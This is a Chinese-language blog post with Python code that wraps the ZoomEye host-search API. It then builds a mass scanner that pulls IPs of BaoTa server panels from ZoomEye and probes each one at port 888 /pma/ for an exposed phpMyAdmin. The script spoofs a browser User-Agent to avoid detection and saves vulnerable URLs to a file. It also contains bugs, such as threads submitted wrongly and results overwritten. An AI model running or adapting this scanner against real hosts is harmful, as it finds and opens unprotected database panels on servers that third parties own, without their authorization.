ZoomEye API 调用

ZoomEye API调用:

因为ZoomEye API 很难用,加入重试机制后,请求还是会一直500,所以没有加入请求重试机制。可以自行加入,或者增加一个时间长度的重试。

尽量避免大量请求API 经测试,1秒1次都会报500。

#!/usr/bin/env python
# -*- coding:utf-8 -*-

"""
Author spkiddai
"""

import json
import requests
import configparser

class ZoomEyeUnit():

    def __init__(self):
        self.config = self.read_config()#读取配置文件配置
        self.headers = self.create_token() #生成Access_TOKEN的header

#配置文件内容 用户、密码、API接口地址
    def read_config(self):
        result = {}
        config = configparser.ConfigParser()
        config.read("Config.ini")
        result['user'] = config['ZoomEye Login']['USER']
        result['pass'] = config['ZoomEye Login']['PASS']
        result['login'] = config['ZoomEye API']['Login']
        result['info'] = config['ZoomEye API']['Info']
        result['host'] = config['ZoomEye API']['Host']
        result['web'] = config['ZoomEye API']['Web']
        return result

#生成Token,用户名密码登录login接口
    def create_token(self):
        data = json.dumps({"username":self.config['user'],"password":self.config['pass']})
        response = self.req_post(self.config['login'],data=data)
        header = {"Authorization": "JWT %s" % (response["access_token"])}
        return header

#用户信息接口:无需参数传入
    def info(self):
        response = ZoomEyeUnit.req_get(self.config['info'],header=self.headers)
        return response

#主机搜索接口:需传入参数 query查询表达式 示例:prrt:8080   page页码 示例:1  facets排序 示例:app,os
    def Host_search(self,query,page=None,facets=None):
        params = {"query" : query }
        if page:
            params.update({"page" : str(page)})
        if facets:
            params.update({"facets" : facets})
        response = self.req_get(self.config['host'],params,self.headers)
        return response

#Web搜索接口:需传入参数 query查询表达式 示例:prrt:8080   page页码 示例:1  facets排序 示例:app,os
    def Web_search(self,query,page=None,facets=None):
        params = { "query" : query }
        if page:
            params.update({"page" : str(page)})
        if facets:
            params.update({"facets" : facets})
        response = self.req_get(self.config['web'],params,self.headers)
        return response

    @staticmethod
    def req_get(url, params=None, header=None):
        try:
            response = requests.get(url=url, params=params, headers=header)
            if response.status_code == 200:
                return response.json()
            else:
                print('[-ERROR]:' + str(response.status_code) + response.text)
                exit(0)
        except Exception as e:
            raise ('[-ERROR]:' + e)

    @staticmethod
    def req_post(url, data, header=None):
        try:
            response = requests.post(url=url, data=data, headers=header)
            if response.status_code == 200:
                return response.json()
            else:
                print('[-ERROR]:' + str(response.status_code) + response.text)
                exit(0)
        except Exception as e:
            raise ('[-ERROR]:' + e)

配置读取为Config.ini的配置文件:

[ZoomEye Login]
USER = test
PASS = test

[ZoomEye API]
Login = https://api.zoomeye.org/user/login
Info = https://api.zoomeye.org/resources-info
Host = https://api.zoomeye.org/host/search
Web = https://api.zoomeye.org/web/search

调用方法:

z = ZoomEyeUnit()
result = z.Host_search("port:8080"",page=1)
print(result)

宝塔PMA漏洞调用示例:

#!/usr/bin/env python
# -*- coding:utf-8 -*-

"""
Author spkiddai
"""

import sys
import time
import requests
import argparse
from queue import Queue
from ZoomEyeUnit import ZoomEyeUnit
from concurrent.futures import ThreadPoolExecutor

print("""
                __   .__    .___  .___      .__ 
  ____________ |  | _|__| __| _/__| _/____  |__|
 /  ___/\____ \|  |/ /  |/ __ |/ __ |\__  \ |  |
 \___ \ |  |_> >    <|  / /_/ / /_/ | / __ \|  |
/____  >|   __/|__|_ \__\____ \____ |(____  /__|
     \/ |__|        \/       \/    \/     \/    
""")

z = ZoomEyeUnit()
#自定义UA 避免检测UA
headers = {"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36",
           "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",}

#未使用多线程,同时增加休眠时间,避免由于快速大量访问导致的API 500错误
def producer(page,q):
    for page in range(1,page):
        time.sleep(1)
        result = z.Host_search("app:\宝塔服务器运维面板\"",page)
        for info in result['matches']:
            q.put(info['ip'])
    return True

#可访问PMA既存在漏洞
def bt_exp(ip):
    print('Testing {}'.format(ip))
    url = "http://%s:888/pma/" % (ip)
    try:
        res = requests.get(url,headers=headers,timeout=5)
        if res.status_code == 200:
            with open("result.txt", "w") as wf:
                wf.write(url)
        else:
            pass
    finally:
        return

#队列与多线程
def run(page):
    q = Queue()
    if producer(page,q):
        executor = ThreadPoolExecutor(max_workers=5)
        for i in range(1,q.qsize()+1):
            if q.empty():
                print("队列为空!")
                exit(0)
            else:
                ip = q.get()
                executor.submit(bt_exp(ip))
        print('请查看当前路径下文件:result.txt')


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('-p','--page',dest='page',type=int,help='查询页数,一页为20个IP地址,最大为2500,示例:-n 10 ')
    pa = parser.parse_args()
    if len(sys.argv[1:]) == 0:
        print("输入 -h 参数查看使用说明")
        exit()
    if pa.page:
        run(pa.page)

if __name__=='__main__':
    main()


github地址:https://github.com/spkiddai/Tools.git

说明:个人制作,仅供学习使用,不可用于商业用途,如有版权问题,请联系删除,切勿将代码内容用于任何违法行为。

你可能感兴趣的:(Python,安全,python)